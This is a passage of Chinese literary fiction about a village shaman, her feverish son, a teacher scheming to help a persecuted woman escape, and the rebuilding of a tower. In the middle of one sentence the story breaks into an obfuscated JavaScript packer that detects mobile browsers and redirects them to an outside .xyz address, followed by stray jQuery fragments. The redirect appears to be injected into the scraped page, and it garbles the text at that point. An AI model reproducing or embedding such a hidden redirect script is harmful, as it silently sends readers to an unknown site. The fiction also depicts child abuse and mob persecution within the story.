李旺儿的屁股在他母亲的藤条下开了花,他嘴上的功夫也就散了架,而剩余的那些发觉自己持续的噩梦与霉运都与顺口溜有着千丝万缕的联系,也早都吓跑了。 “没有,他们都跑了。” 小季挑的眼镜正合适,后来的日子李春生一直戴着这幅黑色框架的眼镜,“正好,很合适。谢谢。” 小季还是站在门口不走,她急切地想说些什么来接李春生的话,嘴巴却像煮烂的粉团一样张不开一点,最后也只是吐出一句:“春生哥,谢谢。” 李春生摇了摇头,说道:“小季老师,今天傍晚放学以后您能到老屋去一趟吗?” 她没多问,“老屋?哦,行呀。” “灯换好了,我先走了。” “春生哥!”小季忽然叫住他,“我听见有人说庄子里闹水鬼呢,你别往河边去,小心着点儿。” 李春生不做过多追究地应下了,他比任何人都清楚这又是捕风捉影的传闻。 不过这传到万金花和小白菜那里就又是另一件事了。她心里虽然把那些前来慰问的人们看得比狗还不如,但没有人会和金钱作对,万金花依旧骑在自家的门槛上,心安理得地接受庄子里人们的供奉。水鬼的事儿是一个驼背的木匠趴在李德彩的耳朵边告诉他的,这位塑像师傅的手里正拿着一尊巴掌大的坐像雕刻着,眼睛都眯成了缝,他听完随即拿烟斗敲木匠的头,“哪儿来的水鬼,别是鸭子,自己吓自己。” “哪儿能啊,好多人听见了水里有声音,却什么也找不见。鸭子……鸭子都莫名其妙没了几只了。” “从没听过水鬼只抓鸭子的。” 木匠提高了声音,“等到抓人了那还了得!肯定是李池的鬼魂卧在河边做了水鬼,他死得不甘心,要抓人做垫背呢!” 万金花在门槛上听见了屋里的谈话,她从门口跳进来,“你说李池的鬼魂还在明月庄作祟?” “啊啊万婆子,我们哪儿有您神通广大,这都是我们猜的,但是水鬼是很多人都看到了的呀!” 小白菜也在床上听着,他的□□里现在空空荡荡,像一节干瘪的小拇指,他的额头和身躯又在散发高热,将他整个人裸露在外的皮肤都蒸的通红。木匠和李得彩的对话让他从睡眠中醒来,这个刚刚遭受了□□创伤的孩子还没有从自己的失败中走出来,他像幽灵一般会在任何时刻醒来,一言不发地出现在这个家的任何角落。 小白菜贴在门边,和他的母亲万金花一样仔细听着木匠的话,“肯定是李池的老婆身上不干净,她和别的男人不明不白,把明月庄的水都搅浑啦!天师在上,是肯定不会放过她的!” 万金花的语气冷冰冰的,“你的意思是我做的决定不好咯?” “我怎么敢说你万婆子,但是吉祥天师都看在眼里,我都闻到清溪河的浊气了,总该做点儿什么清一清。” 李得彩把古巴烟斗在桌上敲击发出笃、笃、笃的声响,他似乎对水鬼问题的讨论感到十分不耐烦,小白菜透过门缝看到一只飞虫的触角被夹断在李得彩的眉毛里,“可以啦!可以啦!又要搞什么?已经够烦的啦!”他的烟斗里烟草已经烧完,只有老鼠尾巴似的一缕烟断断续续地燃着。 “你烦什么?你吵什么?这个冬天没见你有多忙过,我在门槛上把肚子都坐成了两半,你的二郎腿翘的大腿都要定形了!” 李得彩向来都是经不住万金花的骂的,他偶尔的反对都像是给万金花磨炼嘴皮子的工具,他又和以前一样瑟缩了身子,继续一言不发地雕他的神像。木匠在中间嘿嘿地笑,指着李得彩戏谑地说:“原来你也是个惧内的。”说罢又响亮地鼓掌来表彰李得彩的为人,“惧内好,惧内好,惧内的享福早,惧内的不怕老。” 小白菜的汗水从额头上淌进脊背的沟壑里,把衣服与他的身体紧紧黏住,他眼前看到的景象也开始恍惚,木匠站在天花板上接着游说,李得彩坐在烟斗里被浓烟焚烧,万金花躺在门槛坐成的浮板上漂流过海,她举起手道:“这事儿交给天师定夺!” 木匠终于老鼠似的溜走了,小白菜推开老旧的木门出现在父母眼前,淋漓的汗水把他浸得湿透,脚边积起了一圈水洼,他的水洼当中对着万金花开口:“妈妈,你又有办法了?” “你是淹死鬼吗?怎么出汗成这样?”万金花跨步过来要把小白菜重新抱回床上,这个孩子却迈开脚步,一步一个湿脚印地跌到了家里摆着吉祥天师神像的柜子前,“妈妈,你总是这样有办法。但是你的眼睛也没有那么好了,你看,你光顾着想办法,却没有看见这个!”小白菜伸出手指着那尊安静的神像,“他的眼角有了裂纹,你没有发现吗?” “他又烧起来了。”李得彩终于把古巴烟斗包好放进口袋,来履行一个父亲的职责,小白菜在他怀中柔弱无力地踢腿反抗,“妈妈,妈妈,你的眼睛和鱼一样是灰白色的,你没有发现神像眼角的裂纹就像没有发现我的痛苦,你紧抓着门槛就像紧抓着神婆子的位置。”小白菜的语气平和没有任何的感情流露,万金花听了却触电般地从门槛上站起来。李得彩手脚麻利地将儿子摁在床上剥掉湿透的衣服,用棉被裹住他残缺的躯体,很快,小白菜就在烟草气味的萦绕中再次沉沉睡去。 “他总是这样说话的。”李得彩说。 “我能不知道吗?”万金花背对着李得彩站着,她木然地注视着柜子上的神像,“可你是什么意思?你嫌我在神婆子的位置上待得太久了吗?” “你太累了,太折腾。” “我不折腾就会被你们逼死的。”万金花说,她靠在墙上,柜子上吉祥天师的神像就正对着她的眼睛,她总在这样沉默的时刻想起那个遥远的夜晚,有个问题也至今没有得到解答:那天晚上,是谁把神像摆在台子上的呢? 李得彩对那时候的情况从来没有全面的了解,也尽量避免提及那段回忆,所以万金花的问题他一无所知。万金花注视着神像,觉得他是真的在那里的。 “李得彩。你别管我要做什么了,我不想被你们逼死。”万金花说着,抓了一袋寿仙土就出了门。 小白菜的精神进入了梦乡,耳朵依旧醒着,他把李得彩的叹息和万金花的固执全都听了去,两只耳朵都轻微动了动,便在脑海中接着做起万众瞩目的梦来。李得彩坐在床沿上像个机器人,用烟斗在手心里画圈。 在担负着水鬼传闻源头的季有兰家中,这个苍白的女人正在剥豆子,她剥得慢极了,先撕开豆荚的一侧,再用指甲掐进去分开,把豆子一颗一颗地拣出来放到碗里,豆子从她手上一过也都丢失了翠绿的颜色。 金铃儿把她的几只鸡喂完了,银铃儿拉了张板凳坐下与季有兰一起消磨与豆子的时光。 “有兰姨,小潭她好着呢,你也会好的。”银铃儿说。这是李春生交给她们的任务,既是陪伴,也是在给季有兰重新上色。这不,银铃儿刚说完,季有兰手上的豆子就闪烁着翠绿的光芒。 “好。”苍白的女人说道。 “有兰姨你别怕,我们大家都会帮你的。”金铃儿也来加入。季有兰却面露担忧地抬起了头,“你们?你们俩?” “是呀!”银铃儿挺起胸膛骄傲地回答道:“有兰姨你不要小瞧了我们。” “我不是,但是万婆子会罚你们。” “她尽管来罚我,她要不要罚我都不会改变我的立场,我又不是为她而活的。她就算把我打死了,我也比她更顶天立地!”银铃儿的脸上洋溢着幸福的微笑,她丝毫不为自己作为万金花的女儿而苦恼,这让季有兰的双眼迸发出淡淡的色彩。我们后来才知道,这对姐妹不仅是品学兼优的好学生,更是懂得韬光养晦的小小先驱,早在目睹了小毛蛋投身火盆的结局之后就开始编织属于她们的计划,金铃儿读完了《千年万代引》之后就付诸行动,悄悄地成为了这漫长的救苦计划的后备军。 “有兰姨,小潭是我们,我们也是小潭,你可以相信我们,就像相信小潭,你们肯定很快就会团聚,一起去东边看大海。” 季有兰在金铃儿的话语中抓住了救命的稻草,色彩终于在她身上流转,像是夏天的星空。 一个母亲的悲喜在这种情况下最易感知,也最易把握。然而同样作为母亲的万金花现在则是一团迷雾,没有人能够触摸她。她现在成为世界的标尺,沿着清溪河曲折的刻度前进,她没有为传闻中的水鬼施展驱逐的仪式,而是用寿仙土画下水域与土地的界限,而她自己横跨在两端,在手掌中将一点寿仙土与河水混合,而后舌头一卷就吞到肚子里。 从万金花小小的上衣口袋里翻滚出比一亩稻谷还要多的彩纸,用一根银针刺破一个围观女孩子的眉心,血液就成了新鲜的墨水,在彩纸上画满驱鬼的符,万金花口中不断念着“感灵应召救苦逢源真君在上,感灵应召救苦逢源真君在上……” 啪!万金花猛一跺脚,将稻谷般的彩纸往清溪河的上空抛洒出去,五彩的雪片就沿着河岸边寿仙土的轨迹纷纷扬扬地落成一道屏障。啪!她再一拍手,纸片竟一齐在空中迸发出火光,让屏障成为了河边燃烧的渔网,河中的鲤鱼跃出水面,芦苇飘摇,一个瞎了一只眼的女人怪叫着匍匐在地,再三请求吉祥天师保佑。 “万婆子,真有水鬼?”木匠从人群中钻出脑袋来问。 万金花先是点头,之后又摇头,故意让人们摸不清她的意思。木匠的胆子大,他再次问道:“万婆子,你在天师那里看到了什么?请你明示我们吧。” 神婆子终于完全睁开了眼皮,她向着疑惑的众人胸有成竹地宣布:“李池的怨气大,季有兰的罪孽深,登临塔成了废墟,吉祥天师丢了好帮手。” “呸呸呸!这个天杀的李池,自作孽不可活,遭了天罚居然还敢有怨言,化成水鬼来搅得明月庄不清净。” “还有这个季有兰,不是一家人不进一家门,搞姘头不安分的贱种,应该把她丢到清溪河里去喂鱼!” 神婆子听了摆摆手,脸上摆出一副慈悲的姿态,“你们的性子太急躁,没有一点儿大度的气量,难道清溪河是什么都能收的垃圾站?还是你们当天师是摆设?” 这下没人再敢乱说什么了,他们都在等着万金花的决定。 神婆子在众人的目光中指向东边的废墟,“你们看,最近明月庄事事不安宁,就是因为那个。” 木匠道:“因为登临塔?” “因为登临塔倒了!”神婆子的眉眼低垂,为高塔的灾难默哀了三秒,“是我无能,为了这个纵火犯耗费了这么长的时间,让天师在明月庄的驻地荒废了许久,才让怨鬼盘踞,瘴气横行。” “看来还是得快些抓出这个纵火犯,不然又要扯出更多的事儿来!” “好啦,好啦,我说了现在最要紧的不是这个。”神婆子挺起身板,向着废墟的方向继续说:“最要紧的,是赶紧重修我们的天师登临塔!让天师在人间的据点,更大更瞩目,更加富丽堂皇。我们需要一尊更加高大更加威严的神像,来作为天师在新时代的象征。” “婆子,婆子,塑像的事儿有李得彩就可以了。” “没错,塑像需要李得彩,也只有李得彩能做出那栩栩如生的天师神像来。也只有我,只有我万金花能带领你们确定重修登临塔的良辰吉日,上承天言,下布福泽。其他零碎的事情,就要拜托你们,拜托你们这些父老乡亲,做天师登临塔上的沙土和砖块!” 人们为万金花的真知灼见鼓掌喝彩,并庆幸他们的神婆子没有受到小白菜下半身伤势的拖累,一如既往地做好了传话者的工作。 双方都对此感到满意,万金花终于再次体会到了漂浮在空中的幸福感觉,在重塑权力的过程中,她为自己跑赢了小白菜而感到无比自豪。母亲对儿子的支配,对万金花来说在某种程度上与神婆子对众人的支配是一样的,此刻两种相似的支配感在她身上膨胀,像泡沫一样附着在万金花的四肢上。她迷恋着这种黏着,就像在寒冷的雪夜里迷恋蒸笼的热气,万金花始终确信,肉包子就是世界上最美好的食物。 神婆子在脑海中罗列重修高塔需要准备的物件时,在欢呼的众人注意不到的角落里,茂盛的草丛摇晃了一下,很快又归于死寂了。 赤身裸体裹在被子里的小白菜没能听到河边的欢呼,他再次流着汗醒来了,这次他幸运地没有发高热,但干涸的汗渍让他的皮肤黏糊糊的,呈现出一种最难受的状态。李得彩在外头的桌子上趴着,用一块鹿皮擦拭古巴烟斗,他额头上也有汗水顺着颧骨滴下来,在桌沿形成小小的水潭。 小白菜在家中感到恐怖的寂静,万金花不见了踪影,李得彩一言不发,他的两个烦人的姐姐也不在家里好好待着照顾他。只有他自己赤裸着身子坐在床上,角度不偏不倚与天师神像对视着。 “我想我说的是对的,我亲爱的妈妈是看不见这些的。”小白菜这么想着,从心里升起了莫名的悲伤与愤怒,两道眼泪从他的眼眶里流出,拙劣地模仿着清溪河的轨迹,喉咙里却没有发出啜泣声,小白菜只是无声地落着泪,“蚂蚁,在亲爱的妈妈眼中,我和那些人一样是可以一脚踩死的蚂蚁呀。蚂蚁是一脚踩死也不会可惜的,就像我的身体残废了也是无所谓的。” 忽然,小白菜捂着嘴笑得浑身颤抖,“可是妈妈啊,蚂蚁是可以吃掉比它高大几百倍的东西的。我是您伟大而幸运的孩子,怎么会让您看不上我呢?妈妈,很快,您就会拜倒在我的脚下啦!” 这时候,小白菜听到外面响起了敲门声。 他裹着湿漉漉的被子坐在床上,等待父亲李得彩前去开门迎客。李得彩手里的鹿皮在古巴烟斗上来回摩挲,他的身子与饭桌融为一体,成为那张八仙桌的第五条桌腿。小白菜想他的耳朵应该是坏了,要不然怎么对门口的声音无动于衷呢?小白菜才不在乎敲门的是谁,他要是有急事儿会喊会叫,会跑去河边找万金花,敲门的行为在明月庄显得过于彬彬有礼。 小白菜一眨眼的功夫,就看到木门自动敞开了,外面刺眼的天光迫使他眯起眼睛,门框里的身影他熟悉,又一下子叫不上来。李得彩仍然像是发条机器一般重复着擦拭烟斗的动作,他沉重的头颅全然没有抬起往门口望一眼。小白菜揉揉眼睛,好一会儿才从强烈的自然光中分辨出来人的身份,同时那人也开了口。 “小白菜,你醒了。” 他当然是听过这个声音的呀,在那个狡诈的老校长身边,在没出息的李洪对面,这个声音的主人曾两次站在小白菜不喜欢的位置上。现在,他又来观赏小白菜的窘态了。 “嘿嘿嘿……你知道你,李老师。”小白菜想了想又说:“还是应该和我的姐姐们一样,叫你春生老师?” “都可以,随你喜欢。”李春生进门就往小白菜端坐的床边走来,仿佛李得彩不存在一般,“小白菜,你的母亲正在清溪河边。” “我知道,我早就知道了。她是个对权力和地位趋之若鹜的女人,她不会放过一切能让自己受人敬仰的事的。李老师,如果你是特地来通知我这件事的,那就有点多此一举了。” 李春生笑着摇摇头,他在床边坐下,“你身上好些了吗?” 这话让小白菜皱紧了眉头,“李老师,你看我像是好些了吗?我只是从鬼门关去走了一趟,勉强逃回来了而已。而我的妈妈万金花,却为了她自己的感受轻易放跑了罪魁祸首。” “你觉得李小潭是罪魁祸首?” 小白菜叫喊道:“难道不是吗?是她一脚踢坏了我!而我的妈妈万金花是帮凶,她为了自己在庄子里的颜面而编造我是学艺不精的谎言,才导致我成了现在的狼狈样子!李老师,你就是为了这个来嘲笑我的吗?” “我不是要嘲笑你。小白菜,你拥有超越年龄的智慧,还有一副好口才,本该成为一个大人物的。” “可是这已经被他们给毁了!毁了!他们没有一个是靠得住的!” 李春生把食指放到嘴边示意小白菜安静下来,这小疯狗的嘴巴就不可违抗地合上了,李春生这才有空档接着说:“你就没有想过重建这一切吗?” 小白菜大笑起来,指着李春生问他:“李老师,你在说什么呢?你以为这是搭积木吗?我要怎么重建?难道你有办法?” “你要是做我的学生,我可以慢慢教你。” “你有这么好心?” 李春生凑得更近些,他们彼此都能感受到对方说话的热气,“登临塔倒了可以重建,你的权威并没有消失,他们见了你,仍然叫你一声小仙童,为什么不能重建?” 小白菜反问道:“那你为什么不叫我一声小仙童。” 李春生说:“小白菜,我是一个老师,当然会喊你的名字。” “嘿嘿嘿……你为李小枝开脱的时候就是这么能言善辩。”小白菜从床上坐起来,“那你为什么要助我重建这一切?” 李春生摸了小白菜的头,告诉他:“你这么特殊的孩子,能做你的老师,我也是与有荣焉呐。” 小白菜发出嗤笑,“原来你也是唯利是图的人,嘿嘿嘿……” 经过这么一场大病,小白菜口无遮拦的毛病没有任何改变。李春生说:“嗯,算是吧。但我只图我自己的,不来占了你的,如何?” “这样听起来,倒算是一桩不错的买卖。不过李老师,你有这个能力帮到我吗?” “我既然来找你,当然是有把握的。当然,如果你不满意,随时可以退课。你要是觉得我对你有所助益,那就得当个好学生才行。” “好学生?什么是好学生?” “这个标准因人而异。最简单地说,就是在各个方面都胜过所有人的第一名,学校里万众瞩目的那一个。” 小白菜听到万众瞩目这个词的时候眼中闪出透亮的光芒,他的眼神开始飘忽不定,不再死盯着李春生,显然李春生的话让他开始设想成为第一名的生活。过了一会儿,他像一头野兽般往前一扑,两只胳膊攀住李春生的肩膀说道:“李老师,你好天真啊。”他一边说一边抬起了左手去死命地摁住李春生额角上的伤口,像给一块肉排按摩一般打着转儿碾磨血痂。 李春生却并不阻止小白菜的行为,直到红色的液体污染了他的睫毛,才又听到小白菜说:“学校里的第一名有屁用?李老师,难道你不知道这在明月庄是最没用的东西?只有我那两个傻姐姐对“好学生”的名头趋之若鹜。我可不要这东西,我要做整个明月庄的第一名,我要明月庄的所有人都来拜我嘿嘿嘿……李老师,你要是想教我,就得记住这一点。” 李春生对小白菜的反应早有预料,甚至可以说他期待着这样的回答。他告诉小白菜:“明月庄拜的是吉祥天师,就算你成了人们最尊敬的存在,也只是第二名。” 小白菜盯着李春生的眼睛,思考这句话的含义,他的脑子没有因为高烧而糊涂,很快就解读出了话外之音,“嘿嘿嘿嘿……李老师,没想到你是如此有魄力的人,我现在很欣赏你的态度嘿嘿嘿嘿嘿……不过我告诉你,我与吉祥天师乃是一体的,他就是我,我就是他,我与他之间没有高下之分,而是有福共享,有难也同当。” “那你答应做我的学生吗?” “答应。像你这么有魄力的老师,能做你的学生,我也是与有荣焉呢。” 历史教师终于推开了这个手劲极大的孩子,他起身的时候由于头晕而踉跄了一下,“好吧,那我明白了。小白菜,你可以来中学找我,现在好好休息吧,你又在发烧了。” 这一次小白菜却没有感到异常的燥热,他随着李春生的离开仿佛逐渐落入冰窖中,浑身的关节都像是陈醋浸泡过的食材,软烂无骨,而他的皮肤颤栗汗毛竖起,两排牙齿像是患上了帕金森的老年病人。门外李得彩依旧拿着鹿皮擦拭他的宝贝烟斗,李春生的身影是彻底不见了,他在离开时还礼貌地关好了门。 小白菜裹着被子在地上艰难地爬行,这时候李得彩终于从他珍贵的藏品中发现了地上蠕虫般的孩子,他连忙将小白菜抱起,拍打着他身上的尘土说道:“好小子,跟冰块似的!” “你这个瞎子聋子哑巴,有人进屋来你一无所知,只知道看你那只破烟斗!” 李得彩的自尊受了损,他掐着小白菜的胳膊肉斥责道:“你才是疯子傻子臭小鬼!有个屁的人来屋里,明明只有你这个吸血虫,趴在地上要吓死我呐!” “你放屁!他明明就坐在我的床边,我还摸到了他眉毛上的疤,就在我们家里这座天师神像一样的位置!他现在走了,又去与我的姐姐们同流合污,而你和我的妈妈,就像是蒙上了眼睛的驴子,围着一个石磨转到死!” 李得彩将手上冰块似的孩子倒拎起来,就像他十几年前摇晃装着刚出生的金铃儿和银铃儿的瓦罐一样摇晃小白菜的身体,“你的脑子里全是脏东西,已经被你妈教坏啦!” 世界在小白菜眼中倒转着身躯,他却看到了比平日里更加清晰的景象,因为高热导致的耳边嗡鸣声也消失了,世界恢复了它矛盾的模样。 李春生独自走在回中学的路上,不断有赶去聆听万金花重要指示的人从他身边穿过,眼角的血在踏出小白菜家的大门后就已经凝结,只剩下痛觉隐藏在皮肤下富有节律的呼吸。他早已确定了小白菜来成为他求死道路上的有力助推者,所以才用这幅人类的身躯去见了他。 我还是问了他这样一个问题:“他不像是会听话的,你有把握能控制住他?” 返回中学的路途已经让李春生筋疲力尽,人们对登临塔的再度重视成了肩上的铁秤砣,让他继续深陷在明月庄的泥泞中。 他摇了摇头,“没把握,但我总得这么做咳咳咳……”李春生说完就开始剧烈地咳嗽起来,他的胸膛起伏让我不可避免地想到青蛙的气囊,但这是个令人生厌的比喻,所以我摇摇头强迫自己忘记它。这种时候慧慧就比我有用多了,她走过来轻抚着李春生的背,口中轻轻地哼唱:“月亮爬上呐小山岗,我把歌谣呐唱一唱,船上的星星摇摇晃,屋里的人儿静悄悄,别把心事呐放心上,快快睡下呐好梦长……” 在这缓慢的节奏中,李春生的状况逐渐稳定下来,只是脸色依旧苍白得像是一尊石膏像。他走的从来都是险棋,像是有什么癖好似的,总爱做那个在崖边行走的冒险者。 “你还是太好心。”慧慧说。 李春生并不否认这一评价,连他自己也常常说类似的话,此刻胃部的疼痛又开始爬上他的眉头,他捂着胃部轻轻地说道:“我们得抓紧时间让季有兰走。登临塔建起来,再走就难了。” “我看现在也不简单,你最好是有想法了。”慧慧走到窗边遥望着登临塔曾经的方向,再过几个月的时间,一座崭新的高塔就会取代如今漆黑的废墟,投下崭新的阴影。 李春生看着我说:“你和孟明达怎么说的?”我原以为李春生对这事儿还没来得及了解,“你什么时候知道的?” “在你有这个想法的时候。”他见我有些诧异,又补充道:“我猜的。你从筒子楼回来以后就心事重重,想必是在那里看见了什么熟悉的人或物。那也只有孟明达了,其他的都是学生,周老师你又不认识。后边紧接着你出去了两回又不告诉我,肯定是和他谈了些关于明月庄的事情吧。”胃部的疼痛再次使李春生蜷缩了身子,他拿手背抹了一把虚汗接着说:“为什么不告诉我?” “我还没有十足的把握。”有时候我真觉得在李春生和慧慧面前自己就像是个学龄前的幼童,我自以为特别的一点小心思在他们眼里其实昭然若揭。万幸我不是李池和李洪那样的人,还不至于把这默契误读成冒犯。 慧慧说:“李月来,要是万事都有十成十的把握,世上就不会有人受苦了。我早说了吧,不必藏着掖着,又不是没出阁的姑娘见情郎,我们还不知道你吗?” 李春生听了笑起来,慧慧的俏皮话把他从胃疼中短暂解救了出来,“我了解孟明达,他靠得住,如果你和他谈的事情关于季有兰,那的确能帮上忙。” 那便好。如此一来孟明达就正式成为了老校长还有周桐一样的一员。而对于季有兰的解脱计划,李春生还有别的想法。 “在此之前我有另一件事要做,顺利的话,它也能帮上忙。慧慧,麻烦你和金铃儿银铃儿一起留心着点儿季有兰那边。李月来,你随时和孟明达保持联系吧。有进展我会通知你们。咳咳咳咳咳……”这一次他推开了慧慧的手,扶着墙一步一顿地走了,我远远地望着他的背影,觉得他像一个努力追赶时间的老人。 这几日明月庄都属于挑土的劳动号子,万金花下达了要建造比原先更大更宏伟的天师登临塔的远大目标。山羊坡的向阳面就迎来了源源不断的铁锹和箩筐,它们一队一队地被运送到李得彩的面前,催促他去完成这个伟大的项目。 他的孩子带着捉摸不定的高烧扒着门缝看见母亲挥舞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063029|163016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着彩旗从东到西,上下两排牙互相对抗发出锯木头般的声响。 痛恨,是小白菜目前唯一的情感。他痛恨母亲万金花是个追名逐利不顾一切的势利眼,他痛恨父亲李得彩是个做不了主的软骨头,他痛恨姐姐们是不偏向着家里的小叛徒。而这一切痛恨的根源,就是因为他小白菜在人前受辱,往日风光不再! “明白啦!这下我都明白啦!”小白菜上半身打着赤膊平躺在地上大叫着。自从他发热的症状比一家人吃饭还要频繁,万金花和李得彩就不再关注他的病情。他努力将自己全部的上身肌肤贴着冰凉的地面,额头上仍然升起白雾。小白菜朝着刚刚从他身上跨过的李得彩说:“你们都是假惺惺的家伙,你们拜的才不是吉祥天师本身,你们拜的只是他的位置。庙里可以坐着任何人,也可以不是人,还可以是我小白菜。天师和我是一样的,只要哪天他的风光不再,你们就会立刻背叛他,放弃他!” 李得彩扒开院里如山堆积的装土的箩筐,那些生着青草沾有露水的新鲜泥土里爬出逃生的蚯蚓,下一秒蚯蚓就在李得彩的布鞋底下被踩成纸片,他席地而坐被泥土包围,探出毛发稀疏的头颅来说:“你又烧得说胡话啦!” 小白菜改了性子,这次他没有发脾气,而是在地上翻了个身仰起头说:“没关系的,没关系的,我会证明给你们看,等我把一切都重建起来,你们就都明白啦!”说罢他歪头向着柜子上的神像招了招手。 银铃儿从房间里出来,对着院里和地上的景象翻了一个鄙夷的白眼,对大姐金铃儿说:“你看,他们又像狗一样了。” 金铃儿在她身后轻声叹气,拿起木梳开始给银铃儿梳头发,“你少说吧,他们又要骂你了。” “这有什么关系?在他们眼里我和你是连棵草都不如的东西,和庄子里其他人没什么两样。” 金铃儿低垂着她羔羊般的眼睛望着匍匐在地的小白菜,她的嗓音充满了怜悯和无奈的情绪,“在我们这儿,不是狗 ,就是狗嘴里的肉。” “我就不能做个人?”银铃儿把头绳扯紧,接着瞥了一眼小白菜,就蹲到他面前捧着脸说道:“你这样脸都沾上灰啦!白菜,你这样老在地上爬,别人看见了要说你从高高在上的小仙童变成土狗咯!” 她灰头土脸的弟弟竟真的朝她发出一声狗叫,“你比我多吃了几年的饭,就以为真的踩在了我的头上。可是姐姐啊,你的鼻梁又挺又长,这可不是个好姑娘该有的长相,它让你的面相成了勾人的狐狸和说谎的鸟,你身边的东西都会乘着你的鼻梁滑走。不像我有着向内卷曲的耳廓,这是荣华富贵的象征,它把金银财宝都聚拢来了。你生在我们这样的有福之家还不知足,要与中学的臭老九同流合污!” “我可没看到你说的金银财宝,我只知道金和银在我和姐姐的名字里,而你只是颗没人要的烂白菜。” 小白菜听了又开始阴暗地发笑,“嘿嘿嘿嘿嘿……” “你笑得真恶心。” “姐姐啊姐姐,我们做事都是要追根究底的,就像李洪蜕变成没毛的狗是因为他说谎,李池被踩断了脊梁骨死掉是因为他没有管好自己女人的嘴。我已经明白了,与你们这样的蠢人争辩是没有意义的,因为这从来不触及根本,而我会一劳永逸地解决这个问题。” “你果然是个疯子。” “天下何人不疯狂啊姐姐,但我的疯狂比你们的更高级。我看到你们身上和山一样高的苦难,需要一场大火来把它烧个干净,而我,神通广大的小白菜,就会吞下的这如山般高大的苦难,消化你们承担不了的疯狂,成为明月庄的救世主嘿嘿嘿……” “好吧救世主,你当务之急还是得先救你自己。” 银铃儿正准备拉起金铃儿往门外走,小白菜忽然朝她们扑过来,他吊在银铃儿的小腿上,光着上半身在空中晃荡,“你说得对极了,二姐姐,你这张乌鸦般的臭嘴里总算吐出了一句正确的话。救我自己,救我自己,可是你也知道,咱们的母亲为了修塔已经红了眼,咱们的父亲只会与泥巴打交道,而你们俩巴不得我暴毙而亡!” “你、给、我、松、开!”银铃儿不断踢腿想要把小白菜从身上甩下去,金铃儿也在另一边抓住弟弟的腿往外拽,可惜这个浑身蛮力的孩子即便在空中飞舞也绝不松开一根手指头。 “有人跟我说啦!只要有个好老师慢慢教我,我就会是个出类拔萃的人才。你们的中学里,不就有好老师吗?教书育人,诲人不倦不正是你们的老校长挂在嘴边的宗旨吗?” “你滚蛋!就算要上学你也是去小学,中学的大门你都进不了呢!而且你肯定是没安好心!”银铃儿再次用上她屡试不爽的一招——双手钳住小白菜的胳膊,然后抬起另一条腿去踹他的肚子。她一脚就把难缠的弟弟送到了门口,这一脚还撞松了小白菜的一颗乳牙。他顺着牙床的酥痒摸到了这颗摇摇欲坠的犬齿,随后两根手指一齐用力将它从粉嫩的牙床上连根拔起。血从口腔里上涨淹没他缺牙的浅坑流到下巴上。小白菜看着两个姐姐开始放声大哭。 “呜哇哇哇哇哇……” 他的哭声不足以让两个姐姐对他有所同情,而是终于招来了李得彩的注意。泥土中的男人被孩子的哭声拎起,往前一拽就摔到了小白菜的跟前,李得彩见到了儿子手中沾血的乳牙顿时脸色大变。 “怎么是这颗?”他嘟囔了一句后就迅速红着眼睛冲进屋里,用他的古巴烟斗在银铃儿的右腿上烫出一个圆滚滚的红印子。 “死丫头!尽坏事儿!” “啊啊啊啊!你只知道向着他,你偏心,就因为他是个带把儿的!我和姐就是你们能打能骂,能用烟斗烫的东西!” 李得彩听了直跺脚,烟斗还是抓在手里不放,“你懂什么!你懂什么!小孩虎牙摔掉了,家里就有人要遭殃!” “你拿烟斗烫我,可不就是我遭殃了吗?” 李得彩噎得没话,他在与女儿们的争论中总是失败的那一方。金铃儿抓住这空档带着银铃儿逃离了家中的是非。 与这狭小房屋里的争论同时发生的,是李春生穿过中学长长的走廊,经过提着各式工具的急匆匆的人群,与一个拎着竹编元宝篮的男人擦肩而过,那男人差点儿就顺着河岸崎岖的泥地滑下去。 他从黝黑的皮肤缝隙里瞥了李春生一眼,嘴里大约骂了句脏话,李春生没有听清,只见他一瘸一拐地往东边去了。 天边正逐渐染成红色,金铃儿和银铃儿的脚步啪嗒啪嗒地由远及近,银铃儿雏鹰般的眼睛老远就认出了老师:“春生老师——!” 她脸上的眼泪已经干涸,只有裤腿上留着一个烫过的印记。 “慧慧那里有烫伤药膏,她在小潭妈妈那里,快去吧。” 这师生之间没有太多拖沓的寒暄,唯有金铃儿踏着夕阳回过头来有些疑惑地看了一眼。 季有兰的家中正围着一圈人,他们威胁这个女人拿出能够证明自己清白的证据,否则就要将她扔进清溪河里去。为首的一个领着另外三个都拎着满载的水桶,嘴里念着经把水绕屋泼洒,另外的几个摁着季有兰要她在一块木板上写下自己的名字并踩踏咒骂,照他们说的,这样的仪式要持续整整四十九天,才能逐渐消磨季有兰的罪恶。这个木偶般的女人已经在累日的争辩中失去了力气,慧慧在此刻英勇地冲出来抢过木板抬腿撅成两半,碎裂声把那帮人都吓住了,慧慧朝着为首的那个吼道:“你们真是昏了头,万婆子都不能保证的事,难道你们比万婆子还厉害了?要是因为你们这莫名其妙的行为让季有兰给明月庄所有的人都下了咒,你们担得起吗?” 领头的听了这样的指责立马泄下气来为自己辩白:“不管怎么说,她是个不祥的女人,我们是要以防万一!” “少在这儿转移话题!”慧慧举着破木板在为首的面前挥舞,“什么时候轮得到你们来教她怎么赎罪?你们有这个资格吗?有吗?” 没有人敢说自己拥有这样的权力,他们一个个都把木桶甩到地上,水顺着凹凸不平的地面淌走,这帮人也气鼓鼓地踩着水走了。失去了全部神采的季有兰把头靠在慧慧的臂弯里无声地哭泣,门口的金铃儿目睹了一切,也和她一起留下了眼泪。银铃儿用帕子擦拭姐姐的泪珠,问她:“姐,你来的路上在想什么事情?”金铃儿摇了摇头,只说道:“我们去抱抱有兰姨吧。” 此时西沉的太阳已经被明月庄的房屋遮住了一半,李春生也回到了老屋里。 哑巴奶奶的老屋没有什么人气儿,但常年收拾得干净。李春生虽大多数时候都住在中学的宿舍里,每个月来细致地照看一次这里的青砖灰瓦是他雷打不动要做的事。 他把脚步放得很轻,轻到像一片羽毛,而推开门的动作却好似李有福处理肉类时手起刀落剔骨分肉那样干脆。空气里的尘埃霎时都往四面八方逃开,屋里安静极了。 